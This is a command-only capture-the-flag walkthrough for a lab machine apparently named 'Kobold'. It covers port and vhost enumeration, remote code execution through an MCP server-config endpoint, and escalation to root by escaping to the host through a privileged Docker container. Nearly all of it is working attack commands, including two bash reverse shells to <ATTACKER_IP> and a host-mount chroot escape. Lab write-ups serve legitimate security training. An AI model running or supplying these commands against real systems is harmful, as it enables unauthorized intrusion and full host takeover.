Kobold: MCP RCE to Docker Escape

$ nmap -p- --min-rate 5000 -sS $TARGET
$ nmap -sC -sV -A -oN nmap_report.txt $TARGET

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http     (redirects to kobold.htb)
443/tcp  open  https    (wildcard cert: *.kobold.htb)
3552/tcp open  http     Arcane Docker Management
8080/tcp open  http     PrivateBin

$ openssl s_client -connect kobold.htb:443 -servername kobold.htb </dev/null 2>/dev/null \
  | openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

DNS:mcp.kobold.htb, DNS:bin.kobold.htb

$ gobuster vhost -u https://kobold.htb -k --append-domain \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# listener first
$ nc -lvnp 4444

$ curl -sk https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {
      "command": "/bin/bash",
      "args": ["-c", "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"]
    }
  }'

ben@kobold:~$ cat user.txt

ben@kobold:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),999(docker)

# listener first
$ nc -lvnp 5555

$ docker run --rm --privileged -v /:/host-root --entrypoint /bin/bash mysql:latest \
  -c 'chroot /host-root /bin/bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1'

# whoami → root
# cat /root/root.txt